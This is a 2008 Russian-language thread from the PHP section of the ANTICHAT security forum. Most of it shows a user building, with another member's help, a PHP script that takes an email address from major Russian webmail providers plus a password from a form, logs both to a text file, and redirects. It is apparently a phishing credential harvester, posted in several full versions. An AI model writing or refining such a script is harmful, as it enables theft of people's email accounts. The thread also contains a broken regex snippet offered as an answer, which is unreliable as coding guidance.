HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #5591  
Старый 21.09.2008, 18:19
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

geforce
PHP код:
$f=explode("@",$_POST['a'],2);
if(
$f[1]=="mail.ru")
    echo 
"делаем одно"
 
Ответить с цитированием

  #5592  
Старый 21.09.2008, 18:29
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Wink

Цитата:
Сообщение от art2222  
Народ, как выдрать текст из веб странички
<hr class="iq">
<div class="q">
текст который нужно достать
</div>
Таких может быть несколько на паге. Нужно достать все. С меня +
Используй функцию preg_match!
PHP код:
<?php
$f 
file_get_contents("файл где ищеш.php");
$s1="<hr class="iq">";
$s2="<hr class="iq">";
preg_match_all($s1,$f,$ma);
preg_match_all($s2,$f,$mas);
echo 
ma[1];
echo 
mas[1];
fclose($f);
?>

Последний раз редактировалось geforce; 21.09.2008 в 18:50..
 
Ответить с цитированием

  #5593  
Старый 21.09.2008, 18:34
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

geforce Во мервых ему нужны все совпадения тоесть preg_match_all во вторых это скорее всего многострочный контент .. нужно добавить идитификатор \m вроде
 
Ответить с цитированием

  #5594  
Старый 21.09.2008, 18:38
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Wink

PHP код:
<?php 
$f
="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";

$fs=explode("@",$_POST['a'],2);
if ((
$fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5])) 
{
  if ((
$_POST["a"]==$f)or($_POST["b"]==$f)) 
   { 
     
header('Location: error1.php'); 
    } else 
         {
           if(isset(
$_POST["a"])&& isset($_POST["b"])) 
            { 
              
$fh=fopen("kont.txt","a"); 
              
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
              
fclose($fh); 
              
header('Location: autor.php'); 
              }
           }
}  else 
      { 
       
header('Location: error2.php');
      }
?>
Вот так правильно???
 
Ответить с цитированием

  #5595  
Старый 21.09.2008, 18:40
NuR
Участник форума
Регистрация: 11.12.2005
Сообщений: 160
Провел на форуме:
745130

Репутация: 159
Отправить сообщение для NuR с помощью ICQ
По умолчанию

preg_match не работает с файловыми указателями
 
Ответить с цитированием

  #5596  
Старый 21.09.2008, 18:45
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

NuR мм .... причём тут файловый указаталь? только функции чтения из файла работают с ними ... а сложно сделать $f = file_get_contents('file.txt');


geforce что это за ужас?
if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5]))

типо не существует ф-ции in_array() ?

илии нету ф-ции empty() ?

Последний раз редактировалось Doom123; 21.09.2008 в 18:51..
 
Ответить с цитированием

  #5597  
Старый 21.09.2008, 18:52
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Wink

Цитата:
Сообщение от Doom123  
geforce что это за ужас?
if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5]))

типо не существует ф-ции in_array() ?

илии нету ф-ции empty() ?
Я новичёк подскажи как пользоваться in_array() или empty()?
 
Ответить с цитированием

  #5598  
Старый 21.09.2008, 18:55
Doom123
Постоянный
Регистрация: 11.11.2006
Сообщений: 834
Провел на форуме:
3941248

Репутация: 668


Отправить сообщение для Doom123 с помощью ICQ
По умолчанию

geforce

PHP код:
<?php  
$mail
[0]="mail.ru"
$mail[1]="list.ru"
$mail[2]="inbox.ru"
$mail[3]="bk.ru"
$mail[4]="yandex.ru"
$mail[5]="rambler.ru"

$fs=explode("@",$_POST['a'],2); 
if (
in_array($fs[1],$mail))

  if (empty(
$_POST['b']))    //Нужна проверка т.к $_POST['а'] мы проверили выше
     
exit(header('Location: error1.php'));  
     
              
$fh=fopen("kont.txt","a");  
              
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");  
              
fclose($fh);  
              
header('Location: autor.php');  
              
           
}  else  
       
header('Location: error2.php'); 
?>

Последний раз редактировалось Doom123; 21.09.2008 в 19:00..
 
Ответить с цитированием

  #5599  
Старый 21.09.2008, 19:13
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Wink

Цитата:
Сообщение от Doom123  
if (empty($_POST['b'])) //Нужна проверка т.к $_POST['а'] мы проверили выше
Нет b у меня пасворд его не надо проверять!
 
Ответить с цитированием

  #5600  
Старый 21.09.2008, 19:17
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
Провел на форуме:
458686

Репутация: -25
Отправить сообщение для geforce с помощью ICQ
Red face

PHP код:
<?php 
$f
="";
$mail[0]="mail.ru";
$mail[1]="list.ru";
$mail[2]="inbox.ru";
$mail[3]="bk.ru";
$mail[4]="yandex.ru";
$mail[5]="rambler.ru";
if ((
$_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту
   
{header('Location: error1.php');}  
else {
$fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла
   
if (in_array($fs[1],$mail)) 
     {if(isset(
$_POST["a"])&& isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены         
      
{$fh=fopen("kont.txt","a"); 
        
fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");          
          
fclose($fh);        
            
header('Location: autor.php');}}} else {header('Location: error2.php');}    
?>
Почему пишет ошибку?
Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27

Последний раз редактировалось geforce; 21.09.2008 в 20:10..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ